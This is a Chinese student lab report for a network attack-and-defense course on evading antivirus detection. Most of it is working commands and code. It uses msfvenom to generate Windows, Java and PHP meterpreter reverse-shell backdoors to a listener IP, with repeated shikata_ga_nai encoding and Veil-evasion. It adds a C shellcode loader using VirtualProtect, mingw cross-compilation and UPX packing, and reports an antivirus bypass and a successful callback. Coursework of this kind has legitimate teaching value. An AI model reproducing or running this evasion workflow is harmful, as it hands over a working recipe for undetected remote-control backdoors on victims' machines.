2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践
免杀
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
1、杀软是如何检测出恶意代码的?
- 基于特征码:杀软会将恶意代码中有明显特征的一部分作为特征码,并建立起特征库,在检测时则比对特征码是否匹配。
- 基于行为:杀软会监控运行的程序,像进行修改系统注册表、启动项等可疑操作的的程序就可能是恶意代码。
2、免杀是做什么? - 让后门程序不被杀软检测出来
3、免杀的基本方法有哪些? - msfvenom直接生成、msfvenom多次编码、Veil-evasion、C+shellcode、UPX压缩壳、Hyperion
4、离实战还缺些什么技术或步骤? - 缺少将后门植入的操作:比如把后门安插到正常的软件包中,或者利用目标机已有的软件漏洞实现后门植入。
实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
1、使用msf编码器
-
通过上个实验中学到的命令生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168. 43.171 LPORT=5228 -f exe > met.exe
-
将生成的程序上传到
virus total
试试结果
-
使用msf编码器对后门程序编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.43.171 LPORT=5228 -f exe > met-encoded10.exe
-
再上传到
virus total
试试免杀操作是否有效
2、使用msfvenom生成jar
- 使用Java后门程序生成命令
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.43.171 lport=5228 x> 20165228_backdoor_java.jar
3、使用msfvenom生成php - 使用php后门程序生成命令
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20165228_backdoor.php
4、使用veil-evasion
我的kali版本比较新,好像说比较新的版本没有自带的veil....
于是,先>!%_&&%,再*&(%%+##,最后@$#%%&&&&,我的veil终于能用了。
。 。 。 。 。此处省略一天一夜
- 设置veil
use evasion
use 7
set LHOST 192.168.43.171
set LPORT 5228
-
然后输入后门程序的文件名就可以啦
-
于是把它挂上
virus total
看看表现如何
5、利用shellcode编程
- 先执行shellcode生成命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.171 LPORT=5228 -f c
- 得到shellcode
任务二:Linux平台交叉编译Windows应用
1、使用交叉编译
- 新建.c文件,将
shellcode
和c代码组合到一起
vim 5228met.c
unsigned char buf[] =
将shellcode替换到此处
int main()
{
int (*func)() = (int(*)())buf;
func();
}
-
执行
i686-w64-mingw32-g++ met.c -o met.exe
生成可执行的后门程序 -
然后把它挂上
virus total
测一下
2、使用````c+shellcode+
加压缩壳```
实验环境:被控机是win10实体机,装有腾讯安全管家
原理:将shellcode替换到以上代码的数组后给编译生成的EXE文件加壳中达到免杀效果
- 先生成shellcode
- 制作用C调用shellcode的代码
#include "stdafx.h"
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//192.168.6.129 443 reverse_tcp
const char met[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"此处省去若干行"
"x53xffxd5";
int main()
{
DWORD old = 0;
BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
INT32 * addr;
addr =(INT32*) &met;
__asm;
{
call addr;
}
return 0;
}
-
使用VS编译成exe可执行文件
-
加压缩壳
upx cal.exe -o cal_upxed.exe
-
使用杀软扫描,未报警,就这样骗过了杀软,达到免杀效果(其实不加壳我的杀软也不报警...)
-
运行后门程序,反弹连接成功。
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实验环境:被控机是win7虚拟机,装有金山毒霸
(我保留了用vs编译的最初c+shellcode版本,以及在此基础上加压缩壳的版本、再加加密壳的版本。一共三个版本,结果两个加壳的都被金山杀了,只剩最初的未加壳版本)
- 本机打开msf控制台,开始监听
- 受控机运行后门程序
问题
- 在安装veil时遇到了很多不明的问题... 执行veil-evasion安装veil时经常会卡进度TAT
解决:参考相关博客,最后进入/opt/Veil-Evasion
运行,/Veil-Evasion.py
就成功啦 - 在交叉编译时出现以下错误:
解决 :我的kali里没有自带的minw64编译器,所以需要sudo apt-get install mingw-w64
来安装。 - 为什么在某些情况下, 加壳的程序反而更容易被杀软报警?
个人想法:杀软只是根据加壳这个特征判断程序可疑,而并不是因为具体的程序作用,我百度了一下... 正常的软件加壳后也很可能被误报。
实验感想
- 此次实验让我对免杀技术有了新的认识,比如通过不同的编程语言重写、多次编码等,都是十分新鲜的东西。不过也让我认识到安装杀软有时候可能并没有什么用,它只能按照已有的特征码或者比较有效的启发式鉴别木马和后门程序,虽然病毒库随时都在更新,但像实验中刚做出来的后门程序肯定不在病毒库之列,于是它就可以为所欲为。所以,为了系统安全和信息不泄露,就要谨慎冲浪,即使是软件官网的安装包,也要验证md5值后再下载安装,从根源上避免问题。